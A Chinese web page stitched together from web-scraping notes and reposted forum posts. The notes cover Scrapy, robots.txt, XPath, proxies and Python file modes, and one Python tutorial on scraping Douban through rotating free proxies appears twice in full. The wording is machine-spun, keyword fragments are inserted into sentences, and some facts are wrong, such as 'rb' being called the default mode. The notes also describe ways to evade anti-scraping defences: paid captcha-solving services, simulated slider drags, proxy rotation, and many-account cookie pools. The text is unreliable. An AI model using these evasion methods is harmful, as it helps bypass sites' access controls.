  Scrapy 是一個(gè)基于 Twisted 的異步處理框架,是純 Python 實(shí)現的爬蟲(chóng)框架。
  Scrapy 包括:
  Scrapy-Splash:一個(gè) Scrapy 中支持 Javascript 渲染的工具。
  Scrapy-Redis :Scrap 的分布式擴充模塊。
  Scrapyd :一個(gè)用于布署和運行 Scrapy 項目的工具。
  Scrapyrt :為 Scrap 提供了一個(gè)調度的 HTTP 接口。
  Gerapy :一個(gè) Scrapy 分布式管理模塊。
  Scrapy 可對接:
  Crawlspider : Scrap 提供的一個(gè)通用 Spider,我們可以指定一些爬取規則來(lái)實(shí)現頁(yè)面的提取,
  Splash / Selenium :自動(dòng)化爬取
  Docker
  具體使用:待寫(xiě)
  URI 的全稱(chēng)為 Uniform Resource Identifier,即統一資源標志符。
  URL 的全稱(chēng)為 Universal Resource Locator,即統一資源定位符。
  URN 的全稱(chēng)為 Universal Resource Name,即統一資源名稱(chēng)。
  
  URI 可以進(jìn)一步界定為URL、URN或二者兼具。URL 和 URN 都是 URI 子集。
  URN 如同一個(gè)人的名稱(chēng),而 URL 代表一個(gè)人的住址。換言之,URN 定義某事物的身分,而 URL 提供查找該事物的技巧。
  現在常用的http網(wǎng)址,如 就是URL。
  而用于標示惟一書(shū)目的 ISBN 系統, 如:isbn:0-486-27557-4 ,就是 URN 。
  但是在目前的互聯(lián)網(wǎng)中,URN 用得十分少,所以幾乎所有的 URI 都是 URL。
  Robots 協(xié)議也叫做爬蟲(chóng)協(xié)議、機器人合同,它的全名叫作網(wǎng)路爬蟲(chóng)排除標準(Robots Exclusion Protocol),用來(lái)告訴爬蟲(chóng)和搜索引擎什么頁(yè)面可以抓取,哪些不可以抓取。它一般是一個(gè)叫作robots.txt 的文本文件,一般置于網(wǎng)站的根目錄下。
  當搜索爬蟲(chóng)訪(fǎng)問(wèn)一個(gè)站點(diǎn)時(shí),它首先會(huì )檢測這個(gè)站點(diǎn)根目錄下是否存在 robots.txt 文件,如果存在搜索爬蟲(chóng)會(huì )按照其中定義的爬取范圍來(lái)爬取。如果沒(méi)有找到這個(gè)文件爬蟲(chóng)軟件開(kāi)發(fā),搜索爬蟲(chóng)便會(huì )訪(fǎng)問(wèn)所有可直接訪(fǎng)問(wèn)的頁(yè)面。
  robotx.txt 需要置于網(wǎng)站根目錄。
  User-agent: *
Disallow: /
Allow: /public/
  Disallow表示不容許爬的頁(yè)面,Allow表示準許爬的頁(yè)面,User-agent表示針對那個(gè)常用搜索引擎。
  User-agent 為約定好的值,取值如下表:
  
  1、測試環(huán)境
  2、管理后臺(如 cms)
  3、其它
  1、Google的 Robots.txt 規范。
  2、站長(cháng)工具的 robots文件生成 工具。
  Xpath,全稱(chēng) XML Path Language,即 XML 路徑語(yǔ)言,它是一門(mén)在 XML 文檔中査找信息的語(yǔ)言。它最初是拿來(lái)搜救 XML 文檔的,但是它同樣適用于 HTML 文檔的搜索。
  Xpath 的選擇功能非常強悍,它提供了十分簡(jiǎn)約明了的路徑選擇表達式。另外,它還提供了超過(guò) 100 個(gè)內建函數,用于字符串、數值、時(shí)間的匹配以及節點(diǎn)、序列的處理等。
  Xpath 于 1999 年 11 月 16 日成為 W3C 標準。
  就好象 css 選擇器。
  可以使用 Tesseract ,它是 Python 的一個(gè) OCR 識別庫。
  市面上用的最多的是這家提供的滑動(dòng)驗證碼: ,如 bilibili。
  可以用自動(dòng)化庫,如 Selenium 模擬滑動(dòng)(注意人去滑動(dòng)按鍵是先快后慢)。
  解決思路:模板匹配+模擬拖動(dòng)
  還有一個(gè)專(zhuān)門(mén)提供點(diǎn)觸驗證碼服務(wù)的站點(diǎn) Touclick,例如 12306 網(wǎng)站。
  上面說(shuō)的第四個(gè):點(diǎn)觸驗證碼,應該是最難辨識的了。
  但互聯(lián)網(wǎng)上有好多驗證碼服務(wù)平臺,平臺 7×24 小時(shí)提供驗證碼辨識服務(wù),一張圖片幾秒都會(huì )獲得辨識結果,準確率可達 90%以上。
  個(gè)人比較推薦的一個(gè)平臺是超級鷹,其官網(wǎng)為 。其提供的服務(wù)種類(lèi)十分廣泛,可辨識的驗證碼類(lèi)型特別多,其中就包括點(diǎn)觸驗證碼。
  ロ FTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn) FTP 服務(wù)器,一般有上傳、下載以及緩存功能,端口通常為 21、2121 等。
  ロ HTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn)網(wǎng)頁(yè),一般有內容過(guò)濾和緩存功能,端口通常為 80、8080、3128等。
  口 SSL/TLS代理:主要用于訪(fǎng)問(wèn)加密網(wǎng)站,一般有SSL或TLS加密功能(最高支持 128 位加密硬度),端口通常為 443。
  口 RTSP 代理:主要用于訪(fǎng)問(wèn) Real 流媒體服務(wù)器,一般有緩存功能,端口通常為 554。
  口 Telnet 代理:主要用于 telnet 遠程控制(黑客入侵計算機時(shí)常用于隱藏身份),端口通常為 23。
  口 POP3 SMTP 代理:主要用于 POP3 SMTP 方式收發(fā)短信,一般有緩存功能,端口通常為 11025 。
  口 SOCKS 代理:只是單純傳遞數據包,不關(guān)心具體合同和用法,所以速度快好多,一般有緩存功能,端口通常為 1080。SOCKS 代理合同又分為 SOCKS4 和 SOCKS5,前者只支持 TCP,而后者支持 TCP 和 UDP,還支持各類(lèi)身分驗證機制、服務(wù)器端域名解析等。簡(jiǎn)單來(lái)說(shuō),SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。
  口 高度匿名代理:會(huì )將數據包原封不動(dòng)地轉發(fā),在服務(wù)端看來(lái)就似乎真的是一個(gè)普通客戶(hù)端在訪(fǎng)問(wèn),而記錄的 IP 是代理服務(wù)器的 IP。
  ロ 普通匿名代理:會(huì )在數據包上做一些改動(dòng),服務(wù)端上有可能發(fā)覺(jué)這是個(gè)代理服務(wù)器,也有一定概率徹查到客戶(hù)端的真實(shí) IP。代理服務(wù)器一般會(huì )加入的 HTIP 頭有 HTTPVIA 和 HTTPXFORWARDEDFOR。
  口 透明代理:不但改動(dòng)了數據包,還會(huì )告訴服務(wù)器客戶(hù)端的真實(shí) IP。這種代理不僅能用緩存技術(shù)提升瀏覽速率,能用內容過(guò)濾提升安全性之外,并無(wú)其他明顯作用,最常見(jiàn)的事例是外網(wǎng)中的硬件防火墻。
  口 間諜代理:指組織或個(gè)人創(chuàng )建的用于記錄用戶(hù)傳輸的數據,然后進(jìn)行研究、監控等目的的代理服務(wù)器。
  網(wǎng)站上會(huì )有很多免費代理,比如南刺: 。但是這種免費代理大多數情況下都是不好用的,所以比較靠譜的方式是訂購付費代理。
  1、提供插口獲取海量代理,按天或則按時(shí)收費,如訊代理;
  如果信賴(lài)訊代理的話(huà),我們也可以不做代理池篩選,直接使用代理。不過(guò)我個(gè)人還是推薦使用代理池篩選,以提升代理可用機率。自己再做一次篩選,以確保代理可用。
  2、搭建了代理隧洞,直接設置固定域名代理,如阿布云代理。云代理在云端維護一個(gè)全局 IP 池供代理隧洞使用,池中的 IP 會(huì )不間斷更新。代理隧洞,配置簡(jiǎn)單,代理速率快且十分穩定。
  等于幫你做了一個(gè)云端的代理池,不用自己實(shí)現了。
  需要注意的是,代理 IP 池中部份 IP 可能會(huì )在當日重復出現多次。
  3、ADSL 撥號代理
  ADSL (Asymmetric Digital Subscriber Line,非對稱(chēng)數字用戶(hù)支路),它的上行和下行帶寬不對稱(chēng),它采用頻分復用技術(shù)把普通的電話(huà)線(xiàn)分成了電話(huà)、上行和下行 3 個(gè)相對獨立的信道,從而防止了互相之間的干擾。
  我們借助了 ADSL 通過(guò)拔號的形式上網(wǎng),需要輸入 ADSL 賬號和密碼,每次拔號就更換一個(gè) IP 這個(gè)特點(diǎn)。
  所以我們可以先訂購一臺動(dòng)態(tài)拔號 VPS 主機,這樣的主機服務(wù)商相當多。在這里使用了云立方,官方網(wǎng)站:
  代理不論是免費的還是付費的,都不能保證都是可用的,因為:
  1、此 IP 可能被其他人使用來(lái)爬取同樣的目標站點(diǎn)而被封禁。
  2、代理服務(wù)器忽然發(fā)生故障。
  3、網(wǎng)絡(luò )忙碌。
  4、購買(mǎi)的代理到期。
  5、等等
  所以,我們須要提早做篩選,將不可用的代理剔除掉,保留可用代理。這就須要代理池,來(lái)獲取隨機可用的代理。
  
  代理池分為 4 個(gè)模塊: 存儲模塊、獲取模塊、檢測模塊、接口模塊。
  口 存儲模塊使用 Redis 的有序集合,用來(lái)做代理的去重和狀態(tài)標示,同時(shí)它也是中心模塊和基礎模塊,將其他模塊串聯(lián)上去。
  口 獲取模塊定時(shí)從代理網(wǎng)站獲取代理,將獲取的代理傳遞給儲存模塊,并保存到數據庫。
  口 檢測模塊定時(shí)通過(guò)儲存模塊獲取所有代理,并對代理進(jìn)行檢查,根據不同的測量結果對代理設置不同的標示。
  口 接口模塊通過(guò)WebAPI 提供服務(wù)插口,接口通過(guò)聯(lián)接數據庫并通過(guò)Web 形式返回可用的代理。
  對于這兒的測量模塊,建議使用 aiohttp 而不是 requests,原因是:
  對于響應速率比較快的網(wǎng)站來(lái)說(shuō),requests 同步懇求和 aiohttp 異步懇求的療效差別沒(méi)這么大。但對于測量代理來(lái)說(shuō),檢測一個(gè)代理通常須要十多秒甚至幾十秒的時(shí)間,這時(shí)候使用 aiohttp 異步懇求庫的優(yōu)勢就大大彰顯下來(lái)了,效率可能會(huì )提升幾十倍不止。
 ?。?)有的數據必須要登陸能夠抓取。
 ?。?)有時(shí)候,登錄帳號也可以減少被封禁的幾率。
  做大規模抓取,我們就須要擁有好多帳號,每次懇求隨機選定一個(gè)帳號,這樣就減少了單個(gè)帳號的訪(fǎng)問(wèn)潁率,被封的機率又會(huì )大大增加。
  所以,我們可以維護一個(gè)登陸用的 Cookies 池。
  架構跟代理池一樣??蓞⒖忌衔?。
  待寫(xiě)
  python 的 open() 支持的模式可以是只讀/寫(xiě)入/追加,也是可以它們的組合型,具體如下:
  模式描述
  r
  以只讀方法打開(kāi)文件。文件的表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  rb
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于只讀。文件表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  r+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  rb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  w
  打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb
  以二進(jìn)制格式打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  w+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  a
  打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  ab
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  a+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在,文件指針將會(huì )放到文件的結尾。文件打開(kāi)時(shí)會(huì )是追加模式。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  ab+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  1、r+ 和 w+ 都是讀寫(xiě),有哪些區別?
  答:前者是假如沒(méi)有找到文件則拋錯,后者是假如沒(méi)有找到文件則手動(dòng)創(chuàng )建文件。
  2、a 可以看成是 w 的變種,附加上了”追加內容“的特點(diǎn)。
  一般調用 open() 的時(shí)侯還須要再調用 close()。 python 提供了一種縮寫(xiě)方式,那就是使用 with as 語(yǔ)法。在 with 控制塊結束時(shí),文件會(huì )手動(dòng)關(guān)掉,不需要 close() 了。調用寫(xiě)法如下:

Python代理IP爬蟲(chóng)的菜鳥(niǎo)使用教程

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 388 次瀏覽 ? 2020-06-24 08:01 ? 來(lái)自相關(guān)話(huà)題

  前言
  Python爬蟲(chóng)要經(jīng)歷爬蟲(chóng)、爬蟲(chóng)被限制、爬蟲(chóng)反限制的過(guò)程。當然后續還要網(wǎng)頁(yè)爬蟲(chóng)限制優(yōu)化爬蟲(chóng)代理,爬蟲(chóng)再反限制的一系列道高一尺魔高一丈的過(guò)程。爬蟲(chóng)的中級階段,添加headers和ip代理可以解決好多問(wèn)題。
  本人自己在爬取豆瓣讀書(shū)的時(shí)侯,就以為爬取次數過(guò)多,直接被封了IP.后來(lái)就研究了代理IP的問(wèn)題.
  (當時(shí)不知道哪些情況,差點(diǎn)態(tài)度就崩了...),下面給你們介紹一下我自己代理IP爬取數據的問(wèn)題,請你們強調不足之處.
  問(wèn)題
  這是我的IP被封了,一開(kāi)始好好的,我還以為是我的代碼問(wèn)題了
  
  思路:
  從網(wǎng)上查找了一些關(guān)于爬蟲(chóng)代理IP的資料,得到下邊的思路
  爬取一些IP,過(guò)濾掉不可用. 在requests的懇求的proxies參數加入對應的IP. 繼續爬取. 收工 好吧,都是屁話(huà),理論你們都懂,上面直接上代碼...
  思路有了,動(dòng)手上去.
  運行環(huán)境
  Python 3.7, Pycharm
  這些須要你們直接去搭建好環(huán)境...
  準備工作
  爬取IP地址的網(wǎng)站(國內高匿代理) 校準IP地址的網(wǎng)站 你之前被封IP的py爬蟲(chóng)腳本...
  上面的網(wǎng)址看個(gè)人的情況來(lái)選定
  爬取IP的完整代碼
  PS:簡(jiǎn)單的使用bs4獲取IP和端口號,沒(méi)有啥難度,里面降低了一個(gè)過(guò)濾不可用IP的邏輯
  關(guān)鍵地方都有注釋了
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : auto_archive_ios.py
# @Software: PyCharm
import requests
from bs4 import BeautifulSoup
import json
class GetIp(object):
"""抓取代理IP"""
def __init__(self):
"""初始化變量"""
self.url = 'http://www.xicidaili.com/nn/'
self.check_url = 'https://www.ip.cn/'
self.ip_list = []
@staticmethod
def get_html(url):
"""請求html頁(yè)面信息"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
try:
request = requests.get(url=url, headers=header)
request.encoding = 'utf-8'
html = request.text
return html
except Exception as e:
return ''
def get_available_ip(self, ip_address, ip_port):
"""檢測IP地址是否可用"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
ip_url_next = '://' + ip_address + ':' + ip_port
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
try:
r = requests.get(self.check_url, headers=header, proxies=proxies, timeout=3)
html = r.text
except:
print('fail-%s' % ip_address)
else:
print('success-%s' % ip_address)
soup = BeautifulSoup(html, 'lxml')
div = soup.find(class_='well')
if div:
print(div.text)
ip_info = {'address': ip_address, 'port': ip_port}
self.ip_list.append(ip_info)
def main(self):
"""主方法"""
web_html = self.get_html(self.url)
soup = BeautifulSoup(web_html, 'lxml')
ip_list = soup.find(id='ip_list').find_all('tr')
for ip_info in ip_list:
td_list = ip_info.find_all('td')
if len(td_list) &gt; 0:
ip_address = td_list[1].text
ip_port = td_list[2].text
# 檢測IP地址是否有效
self.get_available_ip(ip_address, ip_port)
# 寫(xiě)入有效文件
with open('ip.txt', 'w') as file:
json.dump(self.ip_list, file)
print(self.ip_list)
# 程序主入口
if __name__ == '__main__':
get_ip = GetIp()
get_ip.main()
  使用方式完整代碼
  PS: 主要是通過(guò)使用隨機的IP來(lái)爬取,根據request_status來(lái)判定這個(gè)IP是否可以用.
  為什么要這樣判定?
  主要是即使前面經(jīng)過(guò)了過(guò)濾,但是不代表在你爬取的時(shí)侯是可以用的,所以還是得多做一個(gè)判定.
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : get_douban_books.py
# @Software: PyCharm
from bs4 import BeautifulSoup
import datetime
import requests
import json
import random
ip_random = -1
article_tag_list = []
article_type_list = []
def get_html(url):
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36'
}
global ip_random
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
while request_status != 200:
ip_random = -1
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
ip_random = ip_rand
request.encoding = 'gbk'
html = request.content
print(html)
return html
def get_proxie(random_number):
with open('ip.txt', 'r') as file:
ip_list = json.load(file)
if random_number == -1:
random_number = random.randint(0, len(ip_list) - 1)
ip_info = ip_list[random_number]
ip_url_next = '://' + ip_info['address'] + ':' + ip_info['port']
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
return random_number, proxies
# 程序主入口
if __name__ == '__main__':
"""只是爬取了書(shū)籍的第一頁(yè),按照評價(jià)排序"""
start_time = datetime.datetime.now()
url = 'https://book.douban.com/tag/&#63;view=type&amp;icn=index-sorttags-all'
base_url = 'https://book.douban.com/tag/'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
article_tag_list = soup.find_all(class_='tag-content-wrapper')
tagCol_list = soup.find_all(class_='tagCol')
for table in tagCol_list:
""" 整理分析數據 """
sub_type_list = []
a = table.find_all('a')
for book_type in a:
sub_type_list.append(book_type.text)
article_type_list.append(sub_type_list)
for sub in article_type_list:
for sub1 in sub:
title = '==============' + sub1 + '=============='
print(title)
print(base_url + sub1 + '&#63;start=0' + '&amp;type=S')
with open('book.text', 'a', encoding='utf-8') as f:
f.write('\n' + title + '\n')
f.write(url + '\n')
for start in range(0, 2):
# (start * 20) 分頁(yè)是0 20 40 這樣的
# type=S是按評價(jià)排序
url = base_url + sub1 + '&#63;start=%s' % (start * 20) + '&amp;type=S'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
li = soup.find_all(class_='subject-item')
for div in li:
info = div.find(class_='info').find('a')
img = div.find(class_='pic').find('img')
content = '書(shū)名:&lt;%s&gt;' % info['title'] + ' 書(shū)本圖片:' + img['src'] + '\n'
print(content)
with open('book.text', 'a', encoding='utf-8') as f:
f.write(content)
end_time = datetime.datetime.now()
print('耗時(shí): ', (end_time - start_time).seconds)
  為什么選擇國外高匿代理!
  
  總結
  使用這樣簡(jiǎn)單的代理IP,基本上就可以應付在爬爬爬著(zhù)被封IP的情況了.而且沒(méi)有使用自己的IP,間接的保護?!?!
  大家有其他的愈發(fā)快捷的方式,歡迎你們可以拿出來(lái)交流和討論爬蟲(chóng)代理,謝謝。 查看全部

  前言
  Python爬蟲(chóng)要經(jīng)歷爬蟲(chóng)、爬蟲(chóng)被限制、爬蟲(chóng)反限制的過(guò)程。當然后續還要網(wǎng)頁(yè)爬蟲(chóng)限制優(yōu)化爬蟲(chóng)代理,爬蟲(chóng)再反限制的一系列道高一尺魔高一丈的過(guò)程。爬蟲(chóng)的中級階段,添加headers和ip代理可以解決好多問(wèn)題。
  本人自己在爬取豆瓣讀書(shū)的時(shí)侯,就以為爬取次數過(guò)多,直接被封了IP.后來(lái)就研究了代理IP的問(wèn)題.
  (當時(shí)不知道哪些情況,差點(diǎn)態(tài)度就崩了...),下面給你們介紹一下我自己代理IP爬取數據的問(wèn)題,請你們強調不足之處.
  問(wèn)題
  這是我的IP被封了,一開(kāi)始好好的,我還以為是我的代碼問(wèn)題了
  
  思路:
  從網(wǎng)上查找了一些關(guān)于爬蟲(chóng)代理IP的資料,得到下邊的思路
  爬取一些IP,過(guò)濾掉不可用. 在requests的懇求的proxies參數加入對應的IP. 繼續爬取. 收工 好吧,都是屁話(huà),理論你們都懂,上面直接上代碼...
  思路有了,動(dòng)手上去.
  運行環(huán)境
  Python 3.7, Pycharm
  這些須要你們直接去搭建好環(huán)境...
  準備工作
  爬取IP地址的網(wǎng)站(國內高匿代理) 校準IP地址的網(wǎng)站 你之前被封IP的py爬蟲(chóng)腳本...
  上面的網(wǎng)址看個(gè)人的情況來(lái)選定
  爬取IP的完整代碼
  PS:簡(jiǎn)單的使用bs4獲取IP和端口號,沒(méi)有啥難度,里面降低了一個(gè)過(guò)濾不可用IP的邏輯
  關(guān)鍵地方都有注釋了
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : auto_archive_ios.py
# @Software: PyCharm
import requests
from bs4 import BeautifulSoup
import json
class GetIp(object):
"""抓取代理IP"""
def __init__(self):
"""初始化變量"""
self.url = 'http://www.xicidaili.com/nn/'
self.check_url = 'https://www.ip.cn/'
self.ip_list = []
@staticmethod
def get_html(url):
"""請求html頁(yè)面信息"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
try:
request = requests.get(url=url, headers=header)
request.encoding = 'utf-8'
html = request.text
return html
except Exception as e:
return ''
def get_available_ip(self, ip_address, ip_port):
"""檢測IP地址是否可用"""
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'
}
ip_url_next = '://' + ip_address + ':' + ip_port
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
try:
r = requests.get(self.check_url, headers=header, proxies=proxies, timeout=3)
html = r.text
except:
print('fail-%s' % ip_address)
else:
print('success-%s' % ip_address)
soup = BeautifulSoup(html, 'lxml')
div = soup.find(class_='well')
if div:
print(div.text)
ip_info = {'address': ip_address, 'port': ip_port}
self.ip_list.append(ip_info)
def main(self):
"""主方法"""
web_html = self.get_html(self.url)
soup = BeautifulSoup(web_html, 'lxml')
ip_list = soup.find(id='ip_list').find_all('tr')
for ip_info in ip_list:
td_list = ip_info.find_all('td')
if len(td_list) &gt; 0:
ip_address = td_list[1].text
ip_port = td_list[2].text
# 檢測IP地址是否有效
self.get_available_ip(ip_address, ip_port)
# 寫(xiě)入有效文件
with open('ip.txt', 'w') as file:
json.dump(self.ip_list, file)
print(self.ip_list)
# 程序主入口
if __name__ == '__main__':
get_ip = GetIp()
get_ip.main()
  使用方式完整代碼
  PS: 主要是通過(guò)使用隨機的IP來(lái)爬取,根據request_status來(lái)判定這個(gè)IP是否可以用.
  為什么要這樣判定?
  主要是即使前面經(jīng)過(guò)了過(guò)濾,但是不代表在你爬取的時(shí)侯是可以用的,所以還是得多做一個(gè)判定.
  
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2018/11/22
# @Author : liangk
# @Site :
# @File : get_douban_books.py
# @Software: PyCharm
from bs4 import BeautifulSoup
import datetime
import requests
import json
import random
ip_random = -1
article_tag_list = []
article_type_list = []
def get_html(url):
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36'
}
global ip_random
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
while request_status != 200:
ip_random = -1
ip_rand, proxies = get_proxie(ip_random)
print(proxies)
try:
request = requests.get(url=url, headers=header, proxies=proxies, timeout=3)
except:
request_status = 500
else:
request_status = request.status_code
print(request_status)
ip_random = ip_rand
request.encoding = 'gbk'
html = request.content
print(html)
return html
def get_proxie(random_number):
with open('ip.txt', 'r') as file:
ip_list = json.load(file)
if random_number == -1:
random_number = random.randint(0, len(ip_list) - 1)
ip_info = ip_list[random_number]
ip_url_next = '://' + ip_info['address'] + ':' + ip_info['port']
proxies = {'http': 'http' + ip_url_next, 'https': 'https' + ip_url_next}
return random_number, proxies
# 程序主入口
if __name__ == '__main__':
"""只是爬取了書(shū)籍的第一頁(yè),按照評價(jià)排序"""
start_time = datetime.datetime.now()
url = 'https://book.douban.com/tag/&#63;view=type&amp;icn=index-sorttags-all'
base_url = 'https://book.douban.com/tag/'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
article_tag_list = soup.find_all(class_='tag-content-wrapper')
tagCol_list = soup.find_all(class_='tagCol')
for table in tagCol_list:
""" 整理分析數據 """
sub_type_list = []
a = table.find_all('a')
for book_type in a:
sub_type_list.append(book_type.text)
article_type_list.append(sub_type_list)
for sub in article_type_list:
for sub1 in sub:
title = '==============' + sub1 + '=============='
print(title)
print(base_url + sub1 + '&#63;start=0' + '&amp;type=S')
with open('book.text', 'a', encoding='utf-8') as f:
f.write('\n' + title + '\n')
f.write(url + '\n')
for start in range(0, 2):
# (start * 20) 分頁(yè)是0 20 40 這樣的
# type=S是按評價(jià)排序
url = base_url + sub1 + '&#63;start=%s' % (start * 20) + '&amp;type=S'
html = get_html(url)
soup = BeautifulSoup(html, 'lxml')
li = soup.find_all(class_='subject-item')
for div in li:
info = div.find(class_='info').find('a')
img = div.find(class_='pic').find('img')
content = '書(shū)名:&lt;%s&gt;' % info['title'] + ' 書(shū)本圖片:' + img['src'] + '\n'
print(content)
with open('book.text', 'a', encoding='utf-8') as f:
f.write(content)
end_time = datetime.datetime.now()
print('耗時(shí): ', (end_time - start_time).seconds)
  為什么選擇國外高匿代理!
  
  總結
  使用這樣簡(jiǎn)單的代理IP,基本上就可以應付在爬爬爬著(zhù)被封IP的情況了.而且沒(méi)有使用自己的IP,間接的保護?!?!
  大家有其他的愈發(fā)快捷的方式,歡迎你們可以拿出來(lái)交流和討論爬蟲(chóng)代理,謝謝。

三種 Python 網(wǎng)絡(luò )內容抓取工具與爬蟲(chóng)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 448 次瀏覽 ? 2020-06-23 08:01 ? 來(lái)自相關(guān)話(huà)題

  運用這種太棒的 Python 爬蟲(chóng)工具來(lái)獲取你須要的數據。
  在一個(gè)理想的世界里,你須要的所有數據都將以公開(kāi)而文檔完備的格式清晰地詮釋?zhuān)憧梢暂p松地下載并在任何你須要的地方使用。
  然而,在真實(shí)世界里,數據是零亂的,極少被打包成你須要的樣子,要么常常是過(guò)期的。
  你所須要的信息常常是埋藏在一個(gè)網(wǎng)站里。相比一些清晰地、有調養地呈現數據的網(wǎng)站,更多的網(wǎng)站則不是這樣的。爬取數據crawling、挖掘數據scraping、加工數據、整理數據那些是獲取整個(gè)網(wǎng)站結構來(lái)勾畫(huà)網(wǎng)站拓撲來(lái)搜集數據所必須的活動(dòng),這些可以是以網(wǎng)站的格式存儲的或則是存放在一個(gè)專(zhuān)有數據庫中。
  也許在不久的將來(lái),你須要通過(guò)爬取和挖掘來(lái)獲得一些你須要的數據,當然你幾乎肯定須要進(jìn)行一點(diǎn)點(diǎn)的編程來(lái)正確的獲取。你要如何做取決于你自己,但是我發(fā)覺(jué) Python 社區是一個(gè)挺好的提供者,它提供了工具、框架以及文檔來(lái)幫助你從網(wǎng)站上獲取數據。
  在我們進(jìn)行之前,這里有一個(gè)小小的懇求:在你做事情之前請思索,以及請耐心。抓取這件事情并不簡(jiǎn)單。不要把網(wǎng)站爬出來(lái)只是復制一遍,并其它人的工作當作是你自己的東西(當然,沒(méi)有許可)。要注意版權和許可,以及你所爬行的內容應用哪一個(gè)標準。尊重 robots.txt 文件。不要頻繁的針對一個(gè)網(wǎng)站,這將造成真實(shí)的訪(fǎng)問(wèn)者會(huì )碰到訪(fǎng)問(wèn)困難的問(wèn)題。
  在知曉那些警告過(guò)后,這里有一些太棒的 Python 網(wǎng)站爬蟲(chóng)工具,你可以拿來(lái)獲得你須要的數據。
  讓我們先從 pyspider 開(kāi)始介紹。這是一個(gè)帶有 web 界面的網(wǎng)路爬蟲(chóng),讓與讓之容易跟蹤多個(gè)爬蟲(chóng)。其具有擴展性,支持多個(gè)前端數據庫和消息隊列。它還具有一些便捷的特點(diǎn),從優(yōu)先級到再度訪(fǎng)問(wèn)抓取失敗的頁(yè)面linux 爬蟲(chóng)軟件,此外還有通過(guò)時(shí)間次序來(lái)爬取和其他的一些特點(diǎn)。Pyspider 同時(shí)支持 Python 2 和 Python 3。為了實(shí)現一個(gè)更快的爬取,你可以在分布式的環(huán)境下一次使用多個(gè)爬蟲(chóng)進(jìn)行爬取。
  Pyspyder 的基本用法都有良好的 文檔說(shuō)明 ,包括簡(jiǎn)單的代碼片斷。你能通過(guò)查看一個(gè) 在線(xiàn)的樣例 來(lái)體驗用戶(hù)界面。它在 Apache 2 許可證下開(kāi)源,Pyspyder 仍然在 GitHub 上積極地開(kāi)發(fā)。
